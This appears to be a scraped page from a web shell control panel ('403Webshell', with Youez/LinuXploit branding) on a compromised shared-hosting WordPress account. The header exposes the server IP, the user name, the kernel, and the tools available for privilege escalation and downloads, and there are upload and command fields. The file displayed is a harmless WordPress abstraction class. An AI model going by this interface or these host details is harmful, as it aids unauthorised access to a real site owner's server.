403Webshell
Server IP : 162.215.171.210  /  Your IP : 216.73.216.249
Web Server : Apache
System : Linux 162-215-171-210.bluehost.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : swansondentalgro ( 1070)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/swansondentalgro/.trash/mu-plugins-old/wpengine-common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/swansondentalgro/.trash/mu-plugins-old/wpengine-common/class-wp-abstraction.php
<?php
/**
 * Wp_Abstraction
 *
 * @package wpengine/common-mu-plugin
 */

namespace wpe\plugin;

/**
 * Class Wp_Abstraction
 */
class Wp_Abstraction {
	/**
	 * WordPress's get_site_url()
	 *
	 * Documentation: https://developer.wordpress.org/reference/functions/get_site_url/
	 *
	 * @return string Url of the site.
	 */
	public function get_site_url() {
		return \get_site_url();
	}

	/**
	 * WordPress's wp_remote_request()
	 *
	 * Documentation: https://developer.wordpress.org/reference/functions/wp_remote_request/
	 *
	 * @param string $url Some url.
	 * @return \Wp_Error|array Response as an array or Wp_Error if request failed.
	 */
	public function wp_remote_request( $url ) {
		return \wp_remote_request( $url );
	}

	/**
	 * WordPress's is_wp_error()
	 *
	 * Documentation: https://developer.wordpress.org/reference/functions/is_wp_error/
	 *
	 * @param mixed $object Some object to check.
	 * @return bool True if object is of instance type \Wp_Error.
	 */
	public function is_wp_error( $object ) {
		return \is_wp_error( $object );
	}

	/**
	 * WordPress's wp_cache_set()
	 *
	 * Documentation: https://developer.wordpress.org/reference/functions/wp_cache_set/
	 *
	 * @param int|string $key The cache key to use for retrieval later.
	 * @param mixed      $data The contents to store in the cache.
	 * @return bool True on success, false on failure.
	 */
	public function wp_cache_set( $key, $data ) {
		return \wp_cache_set( $key, $data );
	}

	/**
	 * WordPress's wp_using_ext_object_cache()
	 *
	 * Documentation: https://developer.wordpress.org/reference/functions/wp_using_ext_object_cache/
	 *
	 * @return bool True on if using object cache, else false.
	 */
	public function wp_using_ext_object_cache() {
		return \wp_using_ext_object_cache();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit